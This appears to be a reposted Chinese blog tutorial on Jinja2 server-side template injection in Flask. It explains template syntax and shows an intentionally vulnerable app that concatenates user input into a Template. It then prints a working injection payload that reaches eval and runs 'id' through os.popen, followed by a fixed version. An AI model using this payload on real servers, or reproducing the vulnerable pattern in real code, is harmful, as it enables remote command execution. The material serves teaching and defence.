参考文章:https://www.jianshu.com/p/a1d6ae580add
基础知识
什么是Flask?
Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
简单说下上面代码,第1-2行是初始化过程。3-5行简单讲就是当访问 http://xxx.xx.xx/ 时,使用hello函数进行处理响应。
Jinja2简介
Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的。Jinja支持python语句
Jinja2 模版部分语法
变量
Jinja2 使用{
{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。
Hello, {
{
name|capitalize }}
if&for语句
if语句简单示例
{
% if user %}
Hello,{
{
user}} !
{
% else %}
Hello,Stranger!
{
% endif %}
for语句循环渲染一组元素
<ul>
{
% for comment in comments %}
<li>{
{
comment}}</li>
{
% endfor %}
</ul>
漏洞原理
源码(app.py)
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
test
漏洞利用
利用官网提供的poc
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %}
{
% if 'eval' in b.keys() %}
{
{
b['eval']('__import__("os").popen("id").read()') }}
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
漏洞修复
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/safe")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello,{
{n}} ")
return t.render(n=name)
if __name__ == "__main__":
app.run()
上面修改后代码第6行,将其路由到/safe页面进行访问测试,可以看到原本存在的代码注入漏洞就不存在了
扫描二维码关注公众号,回复:
12971724 查看本文章